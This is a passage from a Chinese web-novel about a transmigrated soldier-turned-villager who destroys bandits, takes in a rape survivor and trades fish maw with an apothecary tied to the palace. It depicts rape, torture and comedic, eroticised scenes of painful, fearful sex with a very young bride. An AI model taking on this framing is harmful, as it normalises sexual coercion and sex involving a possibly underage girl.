刚开始她整日以泪洗面,苦苦求饶,但这些畜牲非但没有饶她,反而她叫得越厉害,他们就越发兴奋!
时间一长,女人也就麻木了。
沉默,是她无声的抗争。
昨天听土匪头子马青锋说,要下山去打卧虎村。
想来那村子应该也难逃和刘庄一样的下场,只怕一夜间就被夷为平地!
不知道哪家的媳妇儿闺女,又要步自己的后尘,被这帮畜牲“赶赶蛋儿”。
女人从席子下摸出一块藏了许久的碎瓷片,一咬牙,就要往自己咽喉扎下去!
与其被土匪处死,不如自行了断!
“砰!”
就在这时,一声爆响骤然响起。
一道人影被从门外踹了进来。
女人手一抖,瓷片掉落在地,目光惊恐扫去,看清那被踹进来的人,顿时一愣。
被踹倒在地的居然正是刚才跑出门外的马文宝。
土匪窝里的太子爷!
谁敢对他动手?
“山猫子,你……你吃了熊心豹子胆,居然敢踹我?!”
马文宝捂着裆部,蜷缩在地上,难以置信地望着门外走进来的人,嘴里骂骂咧咧。
山猫子进了屋,大大咧咧地在马青锋的头把交椅上坐下。
“你!你疯啦!那是俺爹的位置!你一个小小的喽啰,居然敢如此大逆不道!”
马文宝嘴角溢血,还不忘呵斥山猫子!
“山猫子也是你能叫的?叫山爷!”
大海冲上去就是一脚踩在马文宝脸上。
马文宝被踩到地上狠狠摩擦,想要还手,但身体早就被酒色掏空,哪里是大海的对手。
他越反抗,大海就越使劲踩他,踩得他口鼻溢血,肋骨都被踩断了两根。
“马青锋、孟宽、向准,全都死了!”
“从现在开始,老鸦坎头把交椅,山爷来坐!”
“谁赞成,谁反对?”
大海一扭头,环视在场众人。
屋子里站满了人,但大都是山猫子带上山的!
留守山寨的几个土匪,全都鼻青脸肿,已经被狠狠教训过,压根不敢吭声。
“很好!那就是没人反对了!”
大海一把揪住马文宝的头发,把他身上衣服扒个精光。
让人把马文宝吊在了老鸦坎山寨门前!
只需要三天,就可以晒成人肉干!
马文宝绝望哀嚎,他不敢相信,自己亲爹还有向二叔、孟三叔,带着一百五十人下山,居然会栽在卧虎村那么个小村子里!
但不管他信不信,这一切都已经成了事实。
“刘家闺女,你可以走了!老鸦坎土匪都死了,以后没人再欺负你了!”
山猫子看着床上目光呆滞的女人,说道。
女人脸上没有一丝喜悦之色。
眼神空洞,目光呆滞,一声不吭。
“这姑娘怕是被折腾疯了。”
见女人没反应,大海道:“要不派人把她送回家?留在山上,咱们忙起来,也顾不上她啊!”
“她哪有家?刘庄早就被夷为平地了!”
山猫子思忖片刻,说道:“我看不如这样,刘丁,刘卯,你俩把她送到薛大掌柜家里去!”
薛大掌柜?
又是哪家土匪头子?
女人听着山猫子和大海讨论着自己的去处,心如死灰,满不在乎。
她的心早就死了。
去哪儿都无所谓!
……
“叫什么名字?”
看着呆坐在窗前,一言不发的女人,薛猛开口问道。
“她是哑巴?”薛猛扭头看向送女人下山的刘丁、刘卯。
刘丁道:“刘家闺女,你倒是说句话呀,这位是薛大掌柜,是你的救命恩人呐!”
“要不是他英明神武,率领卧虎村的村民,剿灭了老鸦坎土匪,你说不定现在还在受马文宝的欺负呢!”
女人闻言,睫毛轻颤,呆滞的目光微微泛起了些许涟漪。
但也仅此而已。
就算土匪真的被灭了又如何!
她已经是一具行尸走肉了。
离不离开土匪窝又能怎样?
家都没了,她还能去哪儿?
刘丁凑近薛猛耳边,简单说了下女人的身世来历。
薛猛看着这女人,不由得有些心疼。
原来是刘庄老太公的闺女!
家破人亡,又被土匪糟蹋,确实可怜!
“相公,还是我来劝劝这位刘姑娘吧,你们这些大男人,又怎么能懂女儿心呢。”
林雅娴端着一碗鱼肉羹,缓缓走了进来。
昨晚村子里发生的事情,她已经知道了。
薛猛怕村民们害怕,所以故意瞒着大伙儿!
直到今天上午,有人看见了捕鱼队缴获的土匪皮甲、武器、驽马,薛猛剿灭土匪的事情,才逐渐被村民们知晓。
薛猛起身道:“行,交给你啦!”
薛猛走后,林雅娴轻轻关上房门。
来到女人面前坐下,轻柔问道:“小妹子,你别怕,这里是卧虎村,不是土匪窝。”
“你是刘老太公的闺女,我没记错的话,是叫刘玉婷吧?”
“你,认识我?”
女人目光一震,抬起头看着林雅娴温柔的眼睛。
自从刘庄覆灭后,再也没人叫过她的名字。
林雅娴点头:“我以前在你们家的纺织工坊做过短工,见过你几次!”
“别的大户千金从来不会正眼看我们这些短工一眼,可就数你心善,隔三岔五,给我们送汤羹!”
刘玉婷麻木空洞的双眼,泪光涌现。
林雅娴这番话,瞬间勾起了她心中的回忆。
“玉婷妹子,人这辈子,难免会经历许多波折!尤其是在这样的世道里,活下去才是最重要的!”
“就像我,以前也是吃了不少苦头,熬过来就好了!”
“刘老太公在天有灵,也肯定不希望你这样消沉下去!来了咱们家,只要你不嫌弃,以后咱们就是姐妹!”
“这是我为你熬的鱼肉羹,你尝尝!”
林雅娴吹了吹了鱼肉羹,将勺子递到刘玉婷唇边。
刘玉婷张开嘴,含泪咀嚼,鱼肉的鲜甜浸润心脾。
老鸦坎那些土匪,自己都吃了上顿没下顿。
在土匪窝里,她几乎两天才能吃上一些剩饭。
如今吃到这鲜美的鱼肉,刘玉婷几乎泪崩。
紧接着,她捧起碗来,狼吞虎咽消灭着食物。
连着泪水,将鱼肉一并吞进肚里。
“林姐姐,我不会白吃你家饭的。”
“我会织布!”
“你能帮我弄一台织布机吗?”
吃完饭,刘玉婷振作了起来!
林雅娴说得对,死都不怕,还怕活吗?
见刘玉婷终于重拾起生存的希望,林雅娴莞尔一笑:“傻妹子,你先好好修养,把身子养好,姐回头让姐夫给你弄。”
“姐夫?就是刚刚那个……薛掌柜?他会弄织布机?”
刘玉婷诧异道,一个大男人怎么可能懂织布。
“应该会吧。”
林雅娴也不确定,但她总觉得,这世上就没有自家男人不会的事情。
第67章 雷遇明前来拜访
因为曾经受过刘玉婷的恩惠,林雅娴对刘玉婷的遭遇深表同情,对她的请求也很上心。
吃午饭的时候,林雅娴就在饭桌上,向薛猛说起了刘玉婷的事情。
薛猛闻言一怔。
“纺织?”
“大老婆,你真把我当万能的了?这东西我不懂啊。”
舞刀弄枪,制药行医,这些都是薛猛的强项。
但纺织他还真没怎么了解过。
他对纺织的唯一了解,就是前世去监狱参观,看那些犯人踩过缝纫机!
林雅娴叹了口气。
原来自家男人也有不懂的东西。
可自己已经向刘玉婷夸下海口,说薛猛一定能帮她?
这可咋办?
“这样吧,我投资你们一笔钱,你们自己去搞。”
薛猛掏出一张银票,递给林雅娴。
他虽然对纺织行业一窍不通。
但之前也听说过,刘庄曾是纺织大户,出产的布匹,在洪雅县很有市场。
刘玉婷是刘庄大户千金,说不定真有门道。
倒不如放权,让她们自己折腾去。
万一真折腾出名堂了呢?
而且薛猛算是看出来了,林雅娴是真心想帮刘玉婷。
自己老婆的面子,还是要给的!
“长根儿,我就知道你不会让我失望的……”
林雅娴接过薛猛的银票,美眸闪烁。
一把抱住薛猛,对准薛猛的脸,吧唧一口亲了下去。
“!!!”
薛猛虎躯一震。
我滴乖,我这大老婆什么时候这么主动了?
林雅娴反差是反差,但通常都是晚上在被窝里才会露出真面目。
可这大白天,旁边还坐着刚过门的徐瑾儿。
她居然就亲上了?
“我这就去把这个好消息,告诉玉婷妹子。”
林雅娴亲完薛猛,也有些害羞,扭头就跑了。
饭桌前,只剩下薛猛和徐瑾儿,气氛顿时变得微妙起来。
徐瑾儿小脸通红,羞羞答答的,压根不敢直视薛猛。
“小老婆,过来,坐我大腿上!”
薛猛打量着徐瑾儿俏生生的小模样,顿时来了兴致。
闻言,徐瑾儿娇躯一颤,随即起身来到了薛猛身前,小心翼翼在薛猛大腿上坐下。
薛猛搂住徐瑾儿的小腰,只觉少女芬芳扑鼻,近距离欣赏起自己这可爱的小老婆。
小鼻子,小嘴巴,可爱得紧呐!
昨晚本该洞房花烛夜,却被那群土匪搅和了。
今天说什么也得补上!
薛猛抱着徐瑾儿,狠狠亲了她几口:“瑾儿,你好香呀。”
“又香又软,像个小蛋糕,真想把你吃掉。”
“薛大哥,不要吃我!我害怕!”
从来没有经历过男人的徐瑾儿,顿时瑟瑟发抖起来,但心中却又如同小鹿乱撞,莫名有些期待。
她之前听几个姐姐说起过男女之事,听得她面红耳赤。
看着徐瑾儿这娇羞可爱的小模样,薛猛再也压制不住心头的怒火。
择日不如撞日!
他准备,就在饭桌上,品尝这美味的小蛋糕。
身娇体软,声音软糯,跟这样的少女做夫妻,薛猛感觉人生达到了巅峰。
别看徐瑾儿岁数不大,但该鼓的地方鼓,啥都有。
肌肤又白又嫩,手感那叫一个带劲。
“呃啊……薛大哥,好疼,轻点!”
砰砰砰!
薛猛玩得正起劲,门外突然响起敲门声。
红儿的声音随之传来:“主人,城里来了位客人,说要见你。”
“不见!”
什么鸟客人!
偏偏挑这个时候来打扰?
薛猛兴致正高,不想见任何人。
只想把徐瑾儿打磨成自己的形状。
“薛贤侄,大白天关着门忙什么呢?”
门外,响起一个耳熟的声音。
薛猛闻言一怔。
依依不舍地放开了徐瑾儿,提上了裤子。
打开房门,只见门外站的人,赫然是雷遇明,身边还带着湘儿和四个护宝红棍。
“雷叔?什么风把你吹来了?”
薛猛有些诧异:“你是怎么知道,我家住这儿的?”
雷遇明还没说完,湘儿却先接口道:“薛小爷,你可太有名了,咱们到白虎乡随便一打听,就没人不知道你家的!”
薛猛摸了摸头,有些怪不好意思:“是吗?”
我什么时候这么出名了?
“呜呜呜……”
屋内,传来徐瑾儿低细啜泣声。
“薛贤侄,谁在哭啊?”
雷遇明一怔,朝门里望了眼。
薛猛连忙拉上房门,带着雷遇明朝堂屋走去:“没什么,雷叔,你大老远跑过来肯定找我有事吧?咱们坐下慢慢说!红儿、翠儿,给客人沏茶!”
站在门边的红儿和翠儿点点头,扭身去泡茶了。
“雷叔,坐!我这儿不像城里,地方小,你别嫌弃!”
雷遇明在凳子上坐下,眯眼笑道:“薛贤侄,你太客气了。”
“你这些天,都没有进城卖山货!我就一直寻思,你是不是有什么事情耽搁了!”
“今天早上,满县人都在传,卧虎村大败老鸦坎土匪!”
“我听到这消息,料想你们抵抗土匪,肯定有不少伤亡!”
“所以连忙拉了一车药赶了过来,想看看有没有什么能帮得上你的!”
“但我一进村,就看见村里一片祥和,压根没有被土匪洗劫过的迹象,也没见着什么伤员!这到底是怎么一回事?”
“难不成,传言是假的?”
雷遇明心中疑惑,刚才一路走来,卧虎村里房舍完好,男女老少都乐呵呵的,压根不像是闹过土匪的样子。
以往,他也会带着和盛堂的人,四处施药行医,免费救济受难灾民和一些被土匪害得家破人亡的难民。
他见过很多村子,被土匪洗劫后,几乎成了废墟。
还从来没见过卧虎村这样的,闹了土匪,却一点事都没有。
薛猛闻言一怔,没想到大败老鸦坎土匪的事情,这么快就传到了洪雅县?
想来应该是山猫子的功劳,这小子肯定没少打着自己旗号在外面吹牛。
薛猛也不隐瞒,直言道:“雷叔,实不相瞒,传言是真的,昨晚确实来了土匪,但都被我们剿灭了!”
“我们这边出战的四十个村民,几乎没人伤亡,只有两个村民收了些许皮外伤,并无大碍!”
“什么?四十个村民,把土匪全灭了?你们还无一伤亡?”
听到这话,雷遇明双目圆瞪,大吃一惊。
立于一旁的护宝红棍,也都面面相觑,表情一个比一个精彩。
湘儿也是愣住了。
带着区区四十个村民,就把土匪全部剿灭了?
而且还几乎没有伤亡!
薛小爷是怎么做到的?
雷遇明曾在白虎军中担任军医,他深知两军交战,不可能没有伤亡。
更何况,他听说攻打卧虎村的土匪,足足有一百五十个!
还有三个县衙悬赏已久的厉害头领!
卧虎村能够从这帮土匪手底下幸存下来,本身就已经是奇迹了。
现在薛猛却说,他们不费吹灰之力,就把土匪全灭了!
雷遇明别说见了,他以前听都没听过这种事情!
“雷子!是不是雷子来了?”
就在这时,徐守业从门外走了进来。
“徐老哥哥?!”
见到徐守业,雷遇明面色一喜,连忙迎了上去。
二人抱在一起,情绪很是激动。
“老哥哥,你身子骨还挺硬朗啊!”
雷遇明一见面,就给徐守业把起了脉,想看看自己这个老哥哥身子骨怎么样。
“呵呵,一时半会儿死不了!”
徐守业打趣道。
看见徐守业,雷遇明忽然想明白了什么:“老哥哥,那群土匪,是不是你灭掉的?”
徐守业曾是白虎军谋士,若是他出手,或许有可能带领村民击败那些土匪!
徐守业闻言一怔,随即一指薛猛:“我没派上什么用场,都是我女婿指挥村民,剿灭了那些土匪!”
“女婿?”
雷遇明扭头看向薛猛。
没想到薛猛和徐守业居然还有这层关系。
徐守业捋着胡须,笑道:“没错,就在昨晚,我已经把我的小闺女瑾儿,许配给长根儿了!婚事都办了!”
雷遇明一怔,随即气恼道:“好哇,有喜酒喝,你都不叫上我!”
“雷叔,不是不请你,只是昨晚情况特殊,你们过来若是撞上土匪,说不定会有危险!”
薛猛解释了一番昨晚用婚宴做诱饵引土匪下山的计策,雷遇明这才恍然大悟。
“妙妙妙!这计策妙得很啊!”
“薛贤侄,你可真有本事,不仅打猎厉害,还会打仗!我要是有女儿,也嫁给你!”
湘儿莫名脸红心跳,忍不住多偷看了薛猛几眼。
第一次见薛猛的时候,薛猛瘦骨如柴,灰头土脸,穿得跟个野人一样,可现在,薛猛身形精壮提拔了不少,穿着一身玄色锦衣。
一表人才,还这么有本事!
对这个薛小爷,湘儿是越看越喜欢。
雷遇明曾经说过,要收她做干女儿的。
干女儿,也算女儿吧?
“薛贤侄,现在土匪已经没了,你们总得请我喝上一杯喜酒吧!”雷遇明打趣道。
薛猛轻笑道:“那是自然!雷叔你来了咱们卧虎村,可要多住几天,我带你好好参观一下咱们村子!”
“行啊!”
雷遇明哈哈大笑,兴致很高。
第68章 鱼胶的惊人价值
“雷叔,这是鱼胶坊。”
薛猛领着雷遇明一行人,走进了工棚。
看着妇人们麻溜地杀鱼取鱼鳔,刮洗鱼鳔油脂、筋膜,熬胶过滤,切制包装。
雷遇明老眸一亮,拈起一块鱼胶切片,顿时来了兴趣:“薛贤侄,这是何物?”
薛猛介绍道:“这就是鱼胶,这东西既可以药用止血,也可以用来黏补器物!”
“若是当作滋补品服食,还可以养颜美容,补精益肾!”
“哦?天下还有这等宝贝?”
雷遇明身为和盛堂眼把头,什么人参、鹿茸,各种名贵药材,了如指掌。
但唯独没有听说过这种药材。
“薛贤侄,你这鱼胶,真有养颜美容,补精益肾的功效?”
薛猛呵呵一笑,并没有直接回答。
而是让红儿、翠儿去把林雅娴叫过来。
林雅娴正准备陪刘玉婷去农户家收购旧纺车回来改造,还没出村,就被红儿叫住。
林雅娴只能让刘玉婷自己先去,跟着红儿回到了鱼胶坊。
“长根儿,你叫我回来,有什么事吗?”
听到这清澈动听,中气十足的声音,雷遇明立即循声转头看去。
看见林雅娴,雷遇明老眸一亮,他已经不知道多久,没见过气色这么好的女子了。
林雅娴素面朝天,肌肤白里透红,脸盘圆润,身条丰韵,走起路来柔美中又透着神采。
给人一种量大、准时,气血特别足的自然美感!
“没什么,就想问问你,这几天早上有按时吃鱼胶吗?”
听了薛猛这话,林雅娴柳眉轻皱,扫了眼一旁盯着她看的雷遇明。
虽然不明白薛猛为什么突然问这个问题,但还是点了点头:“吃了啊。”
薛猛每天都要她吃鱼胶,说是给她补身子!
自从吃上这鱼胶,林雅娴明显感觉自己的脸蛋越来越白嫩了,精神也比已经好很多!
最主要的是,就连来红都规律了!
薛猛笑了笑,扭头看向雷遇明:“雷叔,见了我家娘子,现在你觉得,我这鱼胶管用吗?”
雷遇明看了看林雅娴,又看了看手里的鱼胶,忽然哈哈大笑起来。
林雅娴这个活生生的案例摆在面前,这鱼胶的滋补功效自然不言而喻!
湘儿也是偷偷瞥了林雅娴好几眼,不由得有些自惭形秽。
这就是薛小爷的大娘子?
长得真美啊!
没想到这么个小村子,居然有这样的大美人儿!
“薛小爷,吃了你这鱼胶,真能长得像嫂子一样美?”
湘儿忍不住问道。
听到别人夸自己长得美,林雅娴俏脸一红,有些不好意思。
薛猛一把搂住林雅娴小腰,说道:“吃了鱼胶的确可以美容养颜,但没办法长得像你嫂子一样,她的美独一无二,别人模仿不来的!”
哈哈哈!
听到这话,大家都笑了起来。
“长根儿,你不害臊,我还害臊呢!”
林雅娴轻轻打了薛猛一下,嘴上虽是这么说,实则心里跟吃了蜜一样甜。
原来在薛猛眼里,自己是独一无二的?
女人嘛,都喜欢被偏爱!
薛猛这番话,让林雅娴心里美得冒泡泡。
“薛贤侄,你这鱼胶一个月能产出多少?找到买家了吗?”
在医药市场摸爬滚打这么多年,雷遇明有着超乎常人的眼界。
他一眼就看出,这样的好东西,一旦面市,必然会掀起一番热潮!
薛猛听出了雷遇明的言外之意,他这是看出了鱼胶的市场潜力,想要合作一把?
不愧是和盛堂的眼把头,眼光真毒!
薛猛想了想,自己去卖鱼胶,还真不如跟和盛堂合作。
鱼胶虽然是好东西,但在这个世界,很多人并不知道它的价值。
和盛堂名气大,鱼胶经他们之手,肯定能更快打开市场!
薛猛认真给雷遇明介绍起来:“鱼胶这东西,产量不大。”
“目前我们手里现货也不多,也就一两斤的样子,到这个月月底,大概能出五斤青鱼胶,一斤鲟鱼胶。”
雷遇明闻言,心中又是一喜!
物以稀为贵!
这鱼胶药效贾,产量又这么少!
完全可以打造成和人参、鹿茸一样的高端名贵药材!
正好,下个月就是皇太后五十大寿!
贤妃娘娘让和盛堂帮她收罗天下珍宝,给皇太后当寿礼!
雷遇明正为这事儿发愁呢。
现在见了鱼胶这样的稀奇宝贝!
彻底心动了,直接谈起了价钱:“薛贤侄,你这鱼胶怎么卖?你说个价,我给你全收了!”
全收了?
这么豪横?
薛猛心中一怔,面上却故作平静:“我原定一斤最少卖一百两银子,但咱们也不是外人儿,一斤八十两也行。当然,这是青鱼胶,鲟鱼胶是另外的价钱。”
一斤八十两?!
林雅娴美眸一瞪,心说这开价也太高了吧。
这鱼胶炮制起来,确实产量低。
但是,也卖不了一斤八十两吧?!
湘儿也是倒吸一口凉气,这薛小爷,还真敢狮子大开口!
这鱼胶,以前市场上从来没有见过。
收回去还不知道能不能卖出去呢!
他居然就敢开这么高的价钱!
“长根儿,你这价钱要得也太高了,人家收回去就要八十两一斤,卖出去得标价多少钱?谁买得起啊?”
林雅娴面露担忧,拽了拽薛猛的袖子,小声嘀咕道。
然而雷遇明却是哈哈大笑!
“薛贤侄,这么好的东西,你一斤只卖八十两?你还是太保守了!”
雷遇明看着手里的鱼胶,双眼微眯,如同在看一件稀世珍宝:“依老夫看,这青鱼胶,一斤卖五百两正合适!”
“鲟鱼胶更加稀有,那就卖一斤一千两!”
“啊?!”
雷遇明此言一出,所有人都惊呆了。
林雅娴人都傻了。
这东西,又不是金子做的,真值得起这么多钱?!
便是薛猛也有些恍惚。
他给鱼胶的定位,本就是奢侈品。
目标受众也是县里的豪富权贵阶层。
定价一斤一百两,和盛堂卖出去翻一倍,一斤两百两,那些豪强权贵,还是能消费得起的!
但雷遇明一开口就把价钱抬到了五百两!
那他卖出去得多少钱?
整个洪雅县,谁卖得起?
就算是县里的豪强,钱也不是大风刮来的,也舍不得吃这么贵的滋补品啊。
难不成,雷遇明另有销路?
不管别人什么反应,雷遇明已经做出决定,掏出一张银票,递给薛猛:“薛贤侄,这是五百两银票,权当定金!”
“月底交货,再给你结清全款,你看能行吗?”
收下银票的瞬间,薛猛忽然想通了。
雷遇明恐怕是要把鱼胶,上贡给大虞宫廷!
想明白这一点,薛猛也就释然了。
大虞皇室的羊毛,不薅白不薅!
谈笑之间,一笔几千两的大生意就此促成。
林雅娴感觉自己像在做梦。
她从来没想过,鱼胶居然值这么多钱!
离开鱼胶坊,薛猛带着雷遇明,又参观了铁艺坊,还观摩了巡猎队训练。
参观了一圈下来,雷遇明不由感慨道:“没想到,小小一个卧虎村,竟然如此雄壮!”
“薛贤侄,你真是了不起啊,年纪轻轻,就挣下这么大一份家业!”
“不过作为长辈,我还是得提醒你一句,人怕出名猪怕壮,你现在风头过盛,当心县里那些豪强给你使绊子!”
“你这些刀枪兵器,还是收敛一些好,这些东西在大虞,还是比较忌讳的。”
“多谢雷叔提醒,我会注意的。”
雷遇明是真把薛猛当侄子了,才会说这些话,薛猛自然能感受到对方的真心。
不知不觉,天已经黑了。
老白头、郑灵均、徐守业、雷遇明,同为白虎军老战友。
老友重逢,自然少不了一番叙旧。
当天晚上,几个老哥俩都去了徐守业家里喝大酒,注定是要欢饮达旦的。
薛猛让红儿送了些好酒好菜过去,也陪着喝了几杯,便被徐守业打发回家了。
用徐守业的话来说,薛猛现在的首要任务,是种地耕田,播种育苗!
争取来年弄出三个大胖小子!
就别在他们这些老头子身上浪费时间了。
临走前,徐守业还拿出了一本压箱底的《玉房秘诀》,交给薛猛。
薛猛翻了几页,顿时感觉进入了姿势的海洋!
谁说古人保守的?!
要是真保守,能生出十几亿人?
现代人玩的各种姿势,都是古人玩剩下的。
薛猛现在就好像一个刚刚得到武功秘籍的人,忍不住想要把书上的每种招式都试上一试!
“长根儿这个牲口!真是不懂得怜香惜玉,瑾儿妹子还这么小,哪里经得起这么折腾!”
“流这么多血,他也不心疼!等他回来,看我怎么说他!”
薛猛醉醺醺回到家,刚一进门,就听见卧房里传来林雅娴在安慰徐瑾儿。
“林姐姐,薛大哥不是故意把我弄出血的,是瑾儿没用,身子弱。”
“你都肿成这样了,还替那牲口说好话!你放心吧,有姐在,今晚我不会让他再碰你!妹子,擦了药就快睡吧,今晚姐护着你!”
吱嘎一声。
薛猛在门后听了好一会儿,这才推开房门,走了出去。
“大老婆,你叽叽咕咕说啥呢,在背后说我坏话呢?”
“长根儿?你回来啦?我没有……我……啊!你轻点!”
见薛猛冷不丁地出现在门口,林雅娴吓得一哆嗦。
一到晚上,见到薛猛她就害怕。
白天的薛猛,温文尔雅。
晚上的薛猛,残暴凶狠。
完全判若两人。
“在背后说丈夫坏话,看我怎么收拾你们俩!”
酒劲上头,薛猛狂兴大发,彻底露出了凶狠的真面目!
扑向一大一小两个老婆,注定疯狂的一夜就此拉开了帷幕。
第69章 贤妃赐薛猛射日弓
翌日。
薛猛让人把大舅哥林大强从伐木队叫回来,让他用最结实的木头重新做一张雕花大床。
林大强一进薛猛卧房,看见支离破碎的旧床,陷入了沉思……
“这长根儿咋造的啊?床板儿怎么断了?”
“可怜我那二妹,昨晚肯定又遭老罪了!”
林大强之所以选择晚上不在薛家住,也是出于这个原因。
薛猛太能折腾了!
晚上声音大的他根本睡不着,还不如跟工友们睡工棚呢。
赵氏房里。
林雅娴和徐瑾儿姐妹俩抱在一起,哭得有声有色,此起彼伏的。
“娘,你说说长根儿吧!”
“我俩哪里经得起他这么折腾,跟牲口一样胡来!”
赵氏叹了口气。
昨晚的动静她都听见了。
但她作为丈母娘,能怎么跟薛猛说?
“他那玩意儿,真有那么吓人?”
赵氏想起了一些传言,说薛猛天生就和别的男人不一样。
所以薛老爷子才给他取名“长根儿”。
“娘!何止吓人,简直要人命啊!尤其是喝了酒之后,女鬼见了他都得打怵……”
林雅娴抹了抹眼泪,想起昨晚的经历就后怕。
徐瑾儿小脸惨白,嘴唇哆嗦:“薛大哥什么都好,就是太能折腾人了,一折腾起来就没个完,我到现在都还疼呢。”
赵氏叹道:“既然如此,娘回头跟他说说,让他再多纳几个妾!”
林雅娴道:“得找个身子骨壮实的!不然禁不起他折腾!”
徐瑾儿突发奇想道:“我看红玉姐姐就挺好的。”
林雅娴美眸一亮:“还别说,她那身板儿,肯定受得住!”
“但她能同意嫁到咱们家吗?”
三个女人陷入了沉默。
裴红玉是村子里出了名的“母老虎”,整天冷着脸,独来独往的。
别说村里的男人不敢正眼看她,就是村里的长舌妇见了她,都不敢说三道四。
就连媒婆都不敢上她家做媒!
要她做薛猛小妾,只怕是不现实!
赵氏不忍心看着林雅娴和徐瑾儿受折磨,拄着拐杖,起身道:“待会儿老身去跟裴姑娘说说!成与不成,试试才知道嘛!”
薛猛并不知道,自己两个老婆和丈母娘,又在背后给他张罗纳妾。
现在不需要进山打猎赚钱,他每天都坚持站桩、跑步,还有力量训练。
练完就吃鹿茸、鱼胶进补。
并将徐守业那本《玉房秘诀》用心研读。
野蛮体魄,武装头脑,身体是革命的本钱嘛!
几天下来,薛猛感觉自己的力量又有了显著增强。
这具身体,确实是天赋异禀!
甚至比前世那具特种兵身体底子还要好。
薛猛身上的肌肉轮廓日渐清晰,每次光着膀子在院子里锻炼,都会吸引不少妇人姑娘火热的目光。
“姐夫,你这是在做什么?”
林小鱼和村里一帮小孩儿,围绕着薛猛,看着薛猛古怪的姿势,歪着头问道。
“这叫俯卧撑!”
“姐夫,我想骑大马!”
“来吧!”
林小鱼骑在薛猛腰上,薛猛继续做着俯卧撑,林小鱼眼睛眯得像月牙,想在骑马一样:“嘿嘿,骑大马,好玩儿!”
“我也要玩!”
“我也要!”
小孩们儿见状纷纷围了上来,为了争抢骑大马的机会,吵红了脸。
“都别吵,一起来吧!”
薛猛身上驮着四五个小孩儿,仍旧面不改色,继续做着俯卧撑。
这一幕,别说把鱼胶坊的妇人们看呆了,就连刚踏进薛家院子的湘儿,也是看得双眸圆瞪,面红耳赤。
她从来没见过这么雄壮威猛的男人!!
薛猛那一身肌肉,看得她心里噗噗乱跳。
“湘儿,有什么事吗?”
薛猛不经意抬头,瞥见了站在门口的湘儿,开口问道。
湘儿一怔,这才想起自己来是干什么的:“哦!薛小爷,我干爹要回城里了,临走前让我来给你道个别!”
见薛猛有事,小孩儿们自觉地散开了。
薛猛起身,擦了擦额头上的汗水,朝湘儿走去:“干嘛这么着急回去?不是让你们在这儿多玩儿几天吗?”
“薛贤侄,下次再来玩吧!我这次回去,确实有急事!临走前,有些东西要交给你!”
门外,雷遇明牵着一匹黑马,走了过来。
身后跟着四名护宝红棍,一人手里捧着一把画雕弓,一人手里捧着一口刀,还有两人捧着一个箱子和箭筒。
薛猛打眼一看,就看出这对弓刀非同一般。
且不说杀伤力如何,但就是上面的纹饰就十分华丽,显得很是昂贵。
那弓身上雕刻着猛禽的图案,整体呈现暗红色,长约四尺,尺寸比民间所用长弓还要长。
用料也是极其考究,弓弣中部包着绿鲨皮。
至于那口刀,不同于市面上常见的腰刀和砍刀,形制笔直修长,如刀似剑,类似唐横刀。
刀鞘上刻有神兽图案,还有一些薛猛看不懂的符号。
“雷叔,你这是做什么?这礼物太贵重了,我不能收!”
这两样东西,一看就价值不菲。
薛猛下意识就想要拒绝。
雷遇明笑道:“薛贤侄,你高看我了,我哪里送得起这等宝物?你还记得上次你到咱们和盛堂,遇到的那位贵人吗?”
薛猛一怔,随即点头:“记得啊,就是那个见不得人,还说不得的家伙?”
“诶,贤侄慎言!那位贵人,乃是当今圣上的宠妃,贤妃娘娘!”
“上次你送来的百年熊胆,治好了贤妃娘娘的病,贤妃娘娘一高兴,赏赐你宝马一匹、宝弓一把、宝刀一口,还有黄金五十两!”
“这些东西,全都寄放在我们和盛堂,本想等着你来卖山货时交给你!”
“但这次既然来了,我们就索性把东西全给你带来了!”
贤妃娘娘?
回想起那帷幕之后的慵懒女声,薛猛不由得一愣。
难怪雷遇明他们对那女人如此毕恭毕敬,小心伺候,原来对方居然是大虞皇帝的女人!
薛猛之前就听山货市场里有人说起过,和盛堂许多名贵药材,都会上供给太医院,这背景实力,已经远超一般的山货行。
但没想到,雷遇明居然还认识宫里的妃子!
这关系,确实通天了!
难怪掏钱买鱼胶的时候,眼都不眨一下!
薛猛接过宝弓,试着拨了拨弦,居然纹丝不动。
雷遇明介绍道:“薛贤侄,此乃射日弓,乃是大虞有名的硬弓!”
“这弓乃是皇家象征,多为依仗或试力所用,平时并不用来骑射!”
“近五年来,整个大虞也就只有当朝武状元王林,在殿试上当着皇帝的面拉开过!”
“哦?是吗?”
薛猛一听这话,顿时来了兴致。
锻炼了这么久,他感觉自己的力量日渐增强,原来的竹胎复合弓已经无法满足他的需求了。
铁胎弓一时半会儿又没办法打造出来。
正好用这硬弓,试试自己到底有几斤几两!
“薛贤侄,我知道你擅长射箭,但这弓真不适合用来打猎!”
见薛猛作势想要强行开弓,雷遇明连忙劝道:“若是硬行开弓,当心伤着身子!”
薛猛不以为然,轻笑道:“那王林能拉开,就说明这弓不是死弓,我未必就不能拉开!”
雷遇明叹道:“贤侄!王林乃是当朝武状元,自小出身将门勋贵之家,有专人为他打熬筋骨,练得一身铜皮铁骨!”
“你能射杀棕熊,自是不凡,但还是不要和王林这种将门种子比的好!”
王林是从小打熬筋骨,有名师指点,还有各种名贵药材进补。
而薛猛,只是乡间猎户,纵然天赋再高,但条件太差,又饿过饭,筋骨强度肯定不能和王林比。
若是薛猛硬开强弓,很可能会对肩部、腰椎造成严重损伤。
雷遇明也是为薛猛好,才出言劝阻。
湘儿也劝道:“是啊,薛小爷,我们都知道你本领高强,但这射日弓确实不实用,你可以把它当作一种荣誉,或是纪念!”
“这可是贤妃娘娘赏赐的宝弓,完全可以当做传家宝!”
对于寻常猎户而言,有朝中贵妃赏赐的宝弓镇宅,那确实是一件光宗耀祖的时期。
但薛猛是一个熟读几千年史书的现代人。
对什么封建朝廷,皇家贵胄,早就祛魅了!
什么御赐宝弓,要是不实用,还不如烧火棍好使!
“不就一把弓吗?我不信真有这么邪乎!雷叔,你放心吧,如果真拉不开,我不会逞能的!”
强行硬拉强弓伤着自己的傻事,薛猛当然不会干。
但关键是,薛猛现在非常自信,他就是想试试自己的力量到底锻炼到了什么地步!
“哎!”
雷遇明长叹一声,薛猛执意要开弓,他也不好再多说什么了。
薛猛拿着射日弓,来到自家门前空地上。
还没开始,就吸引了不少村民围观。
第70章 身配此刀,见官不跪!
“嗡……”
薛猛用了三成力,勉强撼动了射日弓。
“嘿!这弓,有力气!”
试了试手,薛猛兴致更加高了。
接下来,他身形微侧,腰背挺直,收紧核心。
用上五成力。
“咔!”
尘封许久的射日弓,发出了沉闷的声响,被薛猛拉开如半月。
呼!
周围顿时响起了惊呼声。
几个护宝红棍,全都看痴了。
